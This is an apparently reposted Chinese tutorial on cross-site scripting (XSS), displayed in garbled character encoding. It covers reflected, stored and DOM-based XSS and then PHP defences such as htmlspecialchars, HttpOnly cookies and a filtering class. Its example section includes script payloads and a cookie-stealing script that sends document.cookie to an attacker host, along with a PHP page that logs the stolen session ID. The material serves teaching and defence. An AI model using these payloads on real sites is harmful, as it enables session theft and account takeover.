Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Model Center   Code  
»áÔ±   
   
 
     
   
 ¶©ÔÄ
  ¾èÖú
XSS¿çÕ¾½Å±¾¹¥»÷
 
×÷ÕߣºÄÇÒ»Ò¶Ëæ·ç À´Ô´£ºcnblogs ·¢²¼ÓÚ£º 2017-6-7
  1953  次浏览      28
 

1¡¢¼ò½é

¿çÕ¾½Å±¾£¨cross site script£©ÎªÁ˱ÜÃâÓëÑùʽcss»ìÏý£¬ËùÒÔ¼ò³ÆÎªXSS¡£

XSSÊÇÒ»ÖÖ¾­³£³öÏÖÔÚwebÓ¦ÓÃÖеļÆËã»ú°²È«Â©¶´£¬Ò²ÊÇwebÖÐ×îÖ÷Á÷µÄ¹¥»÷·½Ê½¡£ÄÇôʲôÊÇXSSÄØ£¿

XSSÊÇÖ¸¶ñÒâ¹¥»÷ÕßÀûÓÃÍøÕ¾Ã»ÓжÔÓû§Ìá½»Êý¾Ý½øÐÐתÒå´¦Àí»òÕß¹ýÂ˲»×ãµÄȱµã£¬½ø¶øÌí¼ÓһЩ´úÂ룬ǶÈëµ½webÒ³ÃæÖÐÈ¥¡£Ê¹±ðµÄÓû§·ÃÎʶ¼»áÖ´ÐÐÏàÓ¦µÄǶÈë´úÂë¡£

´Ó¶øµÁÈ¡Óû§×ÊÁÏ¡¢ÀûÓÃÓû§Éí·Ý½øÐÐijÖÖ¶¯×÷»òÕß¶Ô·ÃÎÊÕß½øÐв¡¶¾ÇÖº¦µÄÒ»ÖÖ¹¥»÷·½Ê½¡£

XSS¹¥»÷µÄΣº¦°üÀ¨£º

1¡¢µÁÈ¡¸÷ÀàÓû§Õʺţ¬Èç»úÆ÷µÇ¼Õʺš¢Óû§ÍøÒøÕʺš¢¸÷Àà¹ÜÀíÔ±ÕʺÅ

2¡¢¿ØÖÆÆóÒµÊý¾Ý£¬°üÀ¨¶ÁÈ¡¡¢´Û¸Ä¡¢Ìí¼Ó¡¢É¾³ýÆóÒµÃô¸ÐÊý¾ÝµÄÄÜÁ¦

3¡¢µÁÇÔÆóÒµÖØÒªµÄ¾ßÓÐÉÌÒµ¼ÛÖµµÄ×ÊÁÏ

4¡¢·Ç·¨×ªÕË

5¡¢Ç¿ÖÆ·¢Ë͵ç×ÓÓʼþ

6¡¢ÍøÕ¾¹ÒÂí

7¡¢¿ØÖÆÊܺ¦Õß»úÆ÷ÏòÆäËüÍøÕ¾·¢Æð¹¥»÷

2¡¢Ô­Òò½âÎö

Ö÷ÒªÔ­Òò£º¹ýÓÚÐÅÈοͻ§¶ËÌá½»µÄÊý¾Ý£¡

½â¾ö°ì·¨£º²»ÐÅÈÎÈκοͻ§¶ËÌá½»µÄÊý¾Ý£¬Ö»ÒªÊǿͻ§¶ËÌá½»µÄÊý¾Ý¾ÍÓ¦¸ÃÏȽøÐÐÏàÓ¦µÄ¹ýÂË´¦ÀíÈ»ºó·½¿É½øÐÐÏÂÒ»²½µÄ²Ù×÷¡£

½øÒ»²½·ÖÎöϸ½Ú£º

¿Í»§¶ËÌá½»µÄÊý¾Ý±¾À´¾ÍÊÇÓ¦ÓÃËùÐèÒªµÄ£¬µ«ÊǶñÒâ¹¥»÷ÕßÀûÓÃÍøÕ¾¶Ô¿Í»§¶ËÌá½»Êý¾ÝµÄÐÅÈΣ¬ÔÚÊý¾ÝÖвåÈëһЩ·ûºÅÒÔ¼°javascript´úÂ룬ÄÇôÕâЩÊý¾Ý½«»á³ÉΪӦÓôúÂëÖеÄÒ»²¿·ÖÁË¡£ÄÇô¹¥»÷Õ߾ͿÉÒÔËÁÎ޼ɵ¬µØÕ¹¿ª¹¥»÷À²¡£

Òò´ËÎÒÃǾø²»¿ÉÒÔÐÅÈÎÈκοͻ§¶ËÌá½»µÄÊý¾Ý£¡£¡£¡

3¡¢XSS¹¥»÷·ÖÀà

¡¾Á˽⼴¿É£¬²»±ØÏ¸¾¿£¬XSS¸ùÔ´¾ÍÊÇûÍêÈ«¹ýÂ˿ͻ§¶ËÌá½»µÄÊý¾Ý¡¿

3.1¡¢·´ÉäÐÍxss¹¥»÷

ÓÖ³ÆÎª·Ç³Ö¾ÃÐÔ¿çÕ¾µã½Å±¾¹¥»÷£¬ËüÊÇ×î³£¼ûµÄÀàÐ͵ÄXSS¡£Â©¶´²úÉúµÄÔ­ÒòÊǹ¥»÷Õß×¢ÈëµÄÊý¾Ý·´Ó³ÔÚÏìÓ¦ÖС£Ò»¸öµäÐ͵ķdz־ÃÐÔXSS°üº¬Ò»¸ö´øXSS¹¥»÷ÏòÁ¿µÄÁ´½Ó(¼´Ã¿´Î¹¥»÷ÐèÒªÓû§µÄµã»÷)¡£

¼òµ¥Àý×Ó

Õý³£·¢ËÍÏûÏ¢£º

http://www.test.com/message.php?send=Hello,World£¡

½ÓÊÕÕß½«»á½ÓÊÕÐÅÏ¢²¢ÏÔʾHello,Word

·ÇÕý³£·¢ËÍÏûÏ¢£º

http://www.test.com/message.php?send=<script>alert(¡®foolish!¡¯)</script>£¡

½ÓÊÕÕß½ÓÊÕÏûÏ¢ÏÔʾµÄʱºò½«»áµ¯³ö¾¯¸æ´°¿Ú

3.2¡¢´æÖüÐÍxss¹¥»÷

ÓÖ³ÆÎª³Ö¾ÃÐÍ¿çÕ¾µã½Å±¾£¬ËüÒ»°ã·¢ÉúÔÚXSS¹¥»÷ÏòÁ¿(Ò»°ãÖ¸XSS¹¥»÷´úÂë)´æ´¢ÔÚÍøÕ¾Êý¾Ý¿â£¬µ±Ò»¸öÒ³Ãæ±»Óû§´ò¿ªµÄʱºòÖ´ÐС£Ã¿µ±Óû§´ò¿ªä¯ÀÀÆ÷,½Å±¾Ö´ÐС£³Ö¾ÃµÄXSSÏà±È·Ç³Ö¾ÃÐÔXSS¹¥»÷Σº¦ÐÔ¸ü´ó,ÒòΪÿµ±Óû§´ò¿ªÒ³Ã棬²é¿´ÄÚÈÝʱ½Å±¾½«×Ô¶¯Ö´ÐС£¹È¸èµÄorkutÔø¾­¾ÍÔâÊܵ½XSS¡£

¼òµ¥Àý×Ó£º

´ÓÃû×־ͿÉÁ˽⵽´æ´¢ÐÍXSS¹¥»÷¾ÍÊǽ«¹¥»÷´úÂë´æÈëÊý¾Ý¿âÖУ¬È»ºó¿Í»§¶Ë´ò¿ªÊ±¾ÍÖ´ÐÐÕâЩ¹¥»÷´úÂë¡£ÀýÈçÁôÑÔ°å

ÁôÑÔ°å±íµ¥ÖÐµÄ±íµ¥Óò£º<input type=¡°text¡± name=¡°content¡± value=¡°ÕâÀïÊÇÓû§ÌîдµÄÊý¾Ý¡±>

Õý³£²Ù×÷£º

Óû§ÊÇÌá½»ÏàÓ¦ÁôÑÔÐÅÏ¢£»½«Êý¾Ý´æ´¢µ½Êý¾Ý¿â£»ÆäËûÓû§·ÃÎÊÁôÑ԰壬ӦÓÃÈ¥Êý¾Ý²¢ÏÔʾ¡£

·ÇÕý³£²Ù×÷£º

¹¥»÷ÕßÔÚvalueÌîд<script>alert(¡®foolish!¡¯)</script>¡¾»òÕßhtmlÆäËû±êÇ©£¨ÆÆ»µÑùʽ¡£¡£¡££©¡¢Ò»¶Î¹¥»÷ÐÍ´úÂë¡¿£»

½«Êý¾Ý´æ´¢µ½Êý¾Ý¿âÖУ»

ÆäËûÓû§È¡³öÊý¾ÝÏÔʾµÄʱºò£¬½«»áÖ´ÐÐÕâЩ¹¥»÷ÐÔ´úÂë

3.3¡¢DOMBasedXSS£¨»ùÓÚdomµÄ¿çÕ¾µã½Å±¾¹¥»÷£©

»ùÓÚDOMµÄXSSÓÐʱҲ³ÆÎªtype0XSS¡£µ±Óû§Äܹ»Í¨¹ý½»»¥ÐÞ¸Ää¯ÀÀÆ÷Ò³ÃæÖеÄDOM(DocumentObjectModel)²¢ÏÔʾÔÚä¯ÀÀÆ÷ÉÏʱ£¬¾ÍÓпÉÄܲúÉúÕâÖÖ©¶´£¬´ÓЧ¹ûÉÏÀ´ËµËüÒ²ÊÇ·´ÉäÐÍXSS¡£

ͨ¹ýÐÞ¸ÄÒ³ÃæµÄDOM½ÚµãÐγɵÄXSS£¬³ÆÖ®ÎªDOMBasedXSS¡£

ǰÌáÊÇÒ×Êܹ¥»÷µÄÍøÕ¾ÓÐÒ»¸öHTMLÒ³Ãæ²ÉÓò»°²È«µÄ·½Ê½´Ódocument.location »òdocument.URL »ò document.referrer»ñÈ¡Êý¾Ý£¨»òÕßÈÎºÎÆäËû¹¥»÷Õß¿ÉÒÔÐ޸ĵĶÔÏ󣩡£

¼òµ¥Àý×Ó£º

1 <HTML>
2 <TITLE>Welcome!</TITLE>
3 Hi
4 <SCRIPT>
5 var pos=document.URL.indexOf("name=")+5;
6 document.write (document.URL.substring (pos,document.URL.length));
7 </SCRIPT>
8 <BR>
9 Welcome to our system
10 ¡­
11 </HTML>

Õâ¸öÀý×ÓÊǸö»¶Ó­Ò³Ã棬nameÊǽØÈ¡URLÖÐget¹ýÀ´µÄname²ÎÊý

Õý³£²Ù×÷£º

http://www.vulnerable.site/welcome.html?name=Joe

·ÇÕý³£²Ù×÷£º

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

½«²úÉúxssÌõ¼þ¡£ÈÃÎÒÃÇ¿´¿´ÎªÊ²Ã´£ºÊܺ¦ÕßµÄä¯ÀÀÆ÷½ÓÊÕµ½Õâ¸öÁ´½Ó£¬·¢ËÍHTTPÇëÇóµ½www.vulnerable.site²¢ÇÒ½ÓÊܵ½ÉÏÃæµÄHTMLÒ³¡£Êܺ¦ÕßµÄä¯ÀÀÆ÷¿ªÊ¼½âÎöÕâ¸öHTMLΪDOM£¬DOM°üº¬Ò»¸ö¶ÔÏó½Ðdocument£¬documentÀïÃæÓиöURLÊôÐÔ£¬Õâ¸öÊôÐÔÀïÌî³ä×ŵ±Ç°Ò³ÃæµÄURL¡£µ±½âÎöÆ÷µ½´ïjavascript´úÂ룬Ëü»áÖ´ÐÐËü²¢ÇÒÐÞ¸ÄÄãµÄHTMLÒ³Ãæ¡£ÌÈÈô´úÂëÖÐÒýÓÃÁËdocument.URL£¬ÄÇô£¬Õⲿ·Ö×Ö·û´®½«»áÔÚ½âÎöʱǶÈëµ½HTMLÖУ¬È»ºóÁ¢¼´½âÎö£¬Í¬Ê±£¬javascript´úÂë»áÕÒµ½(alert(¡­))²¢ÇÒÔÚͬһ¸öÒ³ÃæÖ´ÐÐËü£¬Õâ¾Í²úÉúÁËxssµÄÌõ¼þ¡£

×¢Òâ:

1. ¶ñÒâ³ÌÐò½Å±¾ÔÚÈκÎʱºò²»»áǶÈëµ½´¦ÓÚ×ÔȻ״̬ϵÄHTMLÒ³Ãæ£¨ÕâºÍÆäËûÖÖÀàµÄxss²»Ì«Ò»Ñù£©¡£

2.Õâ¸ö¹¥»÷Ö»ÓÐÔÚä¯ÀÀÆ÷ûÓÐÐÞ¸ÄURL×Ö·ûʱÆð×÷Óᣠµ±url²»ÊÇÖ±½ÓÔÚµØÖ·À¸ÊäÈ룬Mozilla.»á×Ô¶¯×ª»»ÔÚdocument.URLÖÐ×Ö·û<ºÍ>£¨×ª»¯Îª%3C ºÍ %3E£©£¬Òò´ËÔھͲ»»áÊܵ½ÉÏÃæÊ¾ÀýÄÇÑùµÄ¹¥»÷ÁË£¬ÔÚIE6ÏÂûÓÐת»»<ºÍ>£¬Òò´ËËûºÜÈÝÒ×Êܵ½¹¥»÷¡£

µ±È»£¬Ö±½ÓǶÈëµ½HTMLÖ»Êǹ¥»÷µÄÒ»¸ö¹ÒÔØµã£¬Óкܶà½Å±¾²»ÐèÒªÒÀÀµ<ºÍ>©¶´£¬Òò´ËMozillaͨ³£Ò²ÊÇÎÞ·¨×èÖ¹ÕâЩ¹¥»÷µÄ¡£

¡¾Õâ¶Î³ö×Ô£ºhttp://www.oschina.net/translate/dom-based-xss-of-third-kind¡¿

4¡¢XSS¹¥»÷ʵÀý·ÖÎö

Àý1¡¢¼òµ¥XSS¹¥»÷

ÁôÑÔÀ࣬¼òµ¥×¢Èëjavascript

Óиö±íµ¥Óò£º<input type=¡°text¡± name=¡°content¡± value=¡°ÕâÀïÊÇÓû§ÌîдµÄÊý¾Ý¡±>

1¡¢¼ÙÈôÓû§ÌîдÊý¾ÝΪ£º<script>alert('foolish!')</script>£¨»òÕß<script type="text/javascript" src="./xss.js"></script>£©

2¡¢Ìá½»ºó½«»áµ¯³öÒ»¸öfoolish¾¯¸æ´°¿Ú£¬½Ó׎«Êý¾Ý´æÈëÊý¾Ý¿â

3¡¢µÈµ½±ðµÄ¿Í»§¶ËÇëÇóÕâ¸öÁôÑÔµÄʱºò£¬½«Êý¾ÝÈ¡³öÏÔʾÁôÑÔʱ½«Ö´Ðй¥»÷´úÂ룬½«»áÏÔʾһ¸öfoolish¾¯¸æ´°¿Ú¡£

¡¾½«Êý¾Ý¸Ä³Éhtml±êÇ©½øÐй¥»÷£¬Ôò»á½«Ô­±¾µÄÑùʽ´òÂÒ¡£¡£¡£¡£¡£¡£¡£¡£¡¿

Àý2¡¢µÁÈ¡cookie

1¡¢ÍøÕ¾ËùÔÚÓòÃûΪwww.test88.com¡¢¹¥»÷Õß¿ØÖƵÄÖ÷»úwww.linuxtest.com

2¡¢test88.comÖÐµÄ±íµ¥£¬xss.html

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss¹¥»÷</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8
9 <form action="./test99.php" method="post">
10 癄<input type="text" name="content" value=""><br/>
11 <input type="submit" name="" value='Ìá½»'>
12 </form>
13 <br/>ÁôÑԼǼ£º<br/>
14 </body>
15 </html>

3¡¢¶ñÒâ¹¥»÷Õß²åÈëÏàÓ¦´úÂë

1 <script>
2 var Str=document.cookie; //»ñÈ¡cookie
3 var a =document.createElement('a'); //´´½¨a±êÇ©
4 a.href='http://www.linuxtest.com/test2.php?'+Str; //¹¥»÷ÕßÖ÷»ú
5 a.innerHTML="<img src='./aa.jpg'>"; //ÑÚ»¤Í¼Æ¬
6 document.body.appendChild(a); //½«±êÇ©Ìí¼Óµ½Ò³ÃæÖÐ
7 </script>

4¡¢Êý¾Ý£¨¹¥»÷´úÂ룩²åÈëÊý¾Ý¿â

5¡¢¹¥»÷Õß¿ØÖƵÄÖ÷»úÖÐÉèÖýÓÊÕµÁÈ¡µÄcookie

1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "ÄãµÄPHPSESSID±»µÁÀ²";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?>

¿ªÊ¼Ä£Äâ²âÊÔ

1¡¢test88.comÖÐÉèÖÃÉú³ÉsessionID´úÂë

1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?>

 

2¡¢¿Í»§¶Ë·ÃÎÊÉÏÃæ´úÂë²¢Éú³É×Ô¼ºµÄsessionID

3¡¢¿Í»§¶Ë·ÃÎÊxss.html

#ÏÂÃæÎªÄ£Äâ±»¹¥»÷ºóÈ¡³öÊý¾ÝµÄxss.html´úÂ루ÏÔʾÊý¾Ý£©

1 <!DOCTYPE html>
2 <html>
3 <head>
4 <title>xss¹¥»÷</title>
5 <meta charset="utf-8">
6 </head>
7 <body>
8 <form action="./test99.php" method="post">
9 癄<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='Ìá½»'>
11 </form>
12 <br/>ÁôÑԼǼ£º<br/>
13 <script>
14 var Str=document.cookie; //»ñÈ¡cookie
15 var a =document.createElement('a'); //´´½¨a±êÇ©
16 a.href='http://www.linuxtest.com/test2.php?'+Str; //¹¥»÷ÕßÖ÷»ú
17 a.innerHTML="<img src='./aa.jpg'>"; //ÑÚ»¤Í¼Æ¬
18 document.body.appendChild(a); //½«±êÇ©Ìí¼Óµ½Ò³ÃæÖÐ
19 </script>
20 </body>
21 </html>
¸´ÖÆ´úÂë

 

4¡¢¿Í»§¶Ë²»Ð¡Ðĵã»÷µ½Í¼Æ¬£¬sessionID½«±»µÁ

# vi xss.txt

¡¾µ±È»Õâ½ö½öÖ»ÊÇÒ»¸öºÜ¼òµ¥µÄ¹¥»÷£¬Ö»Òª½«Êý¾Ý¹ýÂ˾ͿÉÒÔ±ÜÃâÕâ¸ö¹¥»÷ÁË£¬ÕâÀïÖ»ÊÇÈôó¼ÒÁ˽âXSSÊÇÈçºÎ½øÐй¥»÷µÄ¡£¡¿

5¡¢XSS©¶´ÐÞ¸´

´ÓÉÏÃæXSSʵÀýÒÔ¼°Ö®Ç°ÎÄÕµĽéÉÜÎÒÃÇÖªµÀXSS©¶´µÄÆðÒò¾ÍÊÇûÓжÔÓû§Ìá½»µÄÊý¾Ý½øÐÐÑϸñµÄ¹ýÂË´¦Àí¡£Òò´ËÔÚ˼¿¼½â¾öXSS©¶´µÄʱºò£¬ÎÒÃÇÓ¦¸ÃÖØµã°ÑÎÕÈçºÎ²ÅÄܸüºÃµÄ½«Óû§Ìá½»µÄÊý¾Ý½øÐа²È«¹ýÂË¡£

5.1¡¢htmlʵÌå

ʲôÊÇhtmlʵÌ壿

ÔÚhtmlÖÐÓÐЩ×Ö·û£¬Ïñ(<)ÕâÀàµÄ£¬¶ÔHTML(±ê׼ͨÓñê¼ÇÓïÑÔϵÄÒ»¸öÓ¦ÓÃ)À´ËµÊÇÓÐÌØÊâÒâÒåµÄ£¬ËùÒÔÕâЩ×Ö·ûÊDz»ÔÊÐíÔÚÎı¾ÖÐʹÓõġ£ÒªÔÚHTMLÖÐÏÔʾ(<)Õâ¸ö×Ö·û£¬ÎÒÃǾͱØÐëʹÓÃʵÌå×Ö·û¡£

htmlʵÌåµÄ´æÔÚÊǵ¼ÖÂXSS©¶´µÄÖ÷ÒªÔ­ÒòÖ®Ò»¡£

Òò´ËÎÒÃÇÐèÒª½«ÕâЩʵÌåÈ«²¿×ª»»ÎªÏàÓ¦µÄʵÌå±àºÅ¡£

5.2¡¢HTML Encode

Óû§½«Êý¾ÝÌá½»ÉÏÀ´µÄʱºò½øÐÐHTML±àÂ룬½«ÏàÓ¦µÄ·ûºÅת»»ÎªÊµÌåÃû³ÆÔÙ½øÐÐÏÂÒ»²½µÄ´¦Àí¡£

ÔÚPHPÖÐÒѾ­´æÔÚÕâÑù×Ó¹¦Äܵĺ¯Êý£¬¼´ÊÇhtmlentities($str)º¯Êý¡£

ÓëÖ®Ïà·´µÄ¾ÍÊÇhtml_entity_decode($str)º¯Êý£¬Ëü½«ÊµÌåÃû³Æ×ª»»ÎªÏàÓ¦µÄ·ûºÅ¡£

5.3¡¢ÐÞ¸´Â©¶´·½Õë

¡¾²»ÏàÓ¦Óû§Ìá½»µÄÊý¾Ý£¬¹ýÂ˹ýÂ˹ýÂË£¡¡¿

1¡¢½«ÖØÒªµÄcookie±ê¼ÇΪhttp only, ÕâÑùµÄ»°Javascript ÖеÄdocument.cookieÓï¾ä¾Í²»ÄÜ»ñÈ¡µ½cookieÁË.

2¡¢±íµ¥Êý¾Ý¹æ¶¨ÖµµÄÀàÐÍ£¬ÀýÈ磺ÄêÁäӦΪֻÄÜΪint¡¢nameÖ»ÄÜΪ×ÖĸÊý×Ö×éºÏ¡£¡£¡£¡£

4¡¢¶ÔÊý¾Ý½øÐÐHtml Encode ´¦Àí

5¡¢¹ýÂË»òÒÆ³ýÌØÊâµÄHtml±êÇ©£¬ ÀýÈç: <script>, <iframe> , &lt; for <, &gt; for >, &quot for

6¡¢¹ýÂËJavaScript ʼþµÄ±êÇ©¡£ÀýÈç "onclick=", "onfocus" µÈµÈ¡£

¡¾Ìرð×¢Ò⣺¡¿

ÔÚÓÐЩӦÓÃÖÐÊÇÔÊÐíhtml±êÇ©³öÏֵģ¬ÉõÖÁÊÇjavascript´úÂë³öÏÖ¡£Òò´ËÎÒÃÇÔÚ¹ýÂËÊý¾ÝµÄʱºòÐèÒª×Ðϸ·ÖÎöÄÄЩÊý¾ÝÊÇÓÐÌØÊâÒªÇó£¨ÀýÈçÊä³öÐèÒªhtml´úÂë¡¢javascript´úÂëÆ´½Ó¡¢»òÕß´Ë±íµ¥Ö±½ÓÔÊÐíʹÓõȵȣ©£¬È»ºóÇø±ð´¦Àí£¡

5.4¡¢PHPÖеÄÏàÓ¦º¯Êý

¡¾Ïêϸ¿´PHPÊֲ᡿

ÕâÀï¿ÉÄܲ»È«£¬ÏëÁ˽â¸ü¶àµÄ¿´Êֲᡣ

strip_tags($str, [ÔÊÐí±êÇ©]) #´Ó×Ö·û´®ÖÐÈ¥³ý HTML ºÍ PHP ±ê¼Ç

htmlentities($str)º¯Êý #תÒåhtmlʵÌå

html_entity_decode($str)º¯Êý #·´×ªÒåhtmlʵÌå

addcslashes($str, ¡®×Ö·û¡¯)º¯Êý #¸øÄ³Ð©×Ö·û¼ÓÉÏ·´Ð±¸Ü

stripcslashes($str)º¯Êý #È¥µô·´Ð±¸Ü

addslashes ($str )º¯Êý #µ¥ÒýºÅ¡¢Ë«ÒýºÅ¡¢·´Ð±ÏßÓë NULL¼Ó·´Ð±¸Ü

stripslashes($str)º¯Êý #È¥µô·´Ð±¸Ü

htmlspecialchars() #ÌØÊâ×Ö·ûת»»ÎªHTMLʵÌå

htmlspecialchars_decode() #½«ÌØÊâµÄ HTML ʵÌåת»»»ØÆÕͨ×Ö·û

5.5¡¢Êý¾Ý¹ýÂËÀà

1 <?php
2 class XSS
3 {
4 /**
5 * @desc ¹ýÂËÊý¾Ý
6 *
7 * @param $data string|array ÊäÈëÊý¾Ý
8 * @param $low bool ÊÇ·ñ²ÉÓøüΪÑϸñµÄ¹ýÂË
9 *
10 * @return ·µ»Ø¹ýÂ˵ÄÊý¾Ý
11 */
12 public function clean_xss($data, $low = False)
13 {
14 #×Ö·û´®¹ýÂË
15 if (! is_array ( $data ))
16 {
17 $data = trim ( $data ); #×Ö·ûÁ½±ßµÄ´¦Àí
18 $data = strip_tags ( $data ); #´Ó×Ö·û´®ÖÐÈ¥³ý HTML ºÍ PHP ±ê¼Ç
19 $data = htmlspecialchars ( $data ); #ÌØÊâ×Ö·ûת»»ÎªHTMLʵÌå
20 if ($low)
21 {
22 return $data;
23 }
24 #Æ¥Åä»»¿Õ¸ñ
25 $data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data );
26 $no = '/%0[0-8bcef]/';
27 $data = preg_replace ( $no, '', $data );
28 $no = '/%1[0-9a-f]/';
29 $data = preg_replace ( $no, '', $data );
30 $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S';
31 $data = preg_replace ( $no, '', $data );
32 return $data;
33 }
34 #Êý×é¹ýÂË
35 $arr=array();
36 foreach ($data as $k => $v)
37 {
38 $temp=$this->clean_xss($v);
39 $arr[$k]=$temp;
40 }
41 return $arr;
42 }
43
44
45 }
46 #²âÊÔ²âÊÔ
47 session_start();
48 $_SESSION['xss']='xssss';
49 $xss=new XSS();
50 #²âÊÔ×Ö·û´®
51 $str = "<script>alert(document.cookie)</script>";
52 echo $str;
53 $str2=$xss->clean_xss($str);
54 echo $str2;
55 echo "<hr/>";
56 #²âÊÔÊý×é
57 $arr= array("<script>alert(document.cookie)</script>", "<script>alert (document.cookie)</script>" ,"<script>alert(document.cookie)</script>");
58 echo "<pre>";
59 print_r($arr);
60 echo "</pre>";
61 $arr2=$xss->clean_xss($arr);
62 echo "<pre>";
63 print_r($arr2);
64 echo "</pre>";die;
65 ?>
   
1953 ´Îä¯ÀÀ       28
 
Ïà¹ØÎÄÕÂ

iOSÓ¦Óð²È«¿ª·¢£¬Äã²»ÖªµÀµÄÄÇЩÊÂÊõ
Web°²È«Ö®SQL×¢Èë¹¥»÷
ÒÆ¶¯APP°²È«ÔÚÉøÍ¸²âÊÔÖеÄÓ¦ÓÃ
´ÓGoogle±¸·Ý»¥ÁªÍø¿´¡°Êý¾Ý°²È«¡±
 
Ïà¹ØÎĵµ

web°²È«Éè¼ÆÓë·À»¤
»¥ÁªÍøº£Á¿ÄÚÈݰ²È«´¦Àí¼¼Êõ
ºÚ¿Í¹¥»÷Óë·À·¶¼¼Êõ
WEBºÚºÐ°²È«¼ì²â
 
Ïà¹Ø¿Î³Ì

WEBÍøÕ¾ÓëÓ¦Óð²È«Ô­ÀíÓëʵ¼ù
webÓ¦Óð²È«¼Ü¹¹Éè¼Æ
´´½¨°²È«µÄJ2EE WebÓ¦ÓôúÂë
ÐÅÏ¢°²È«ÎÊÌâÓë·À·¶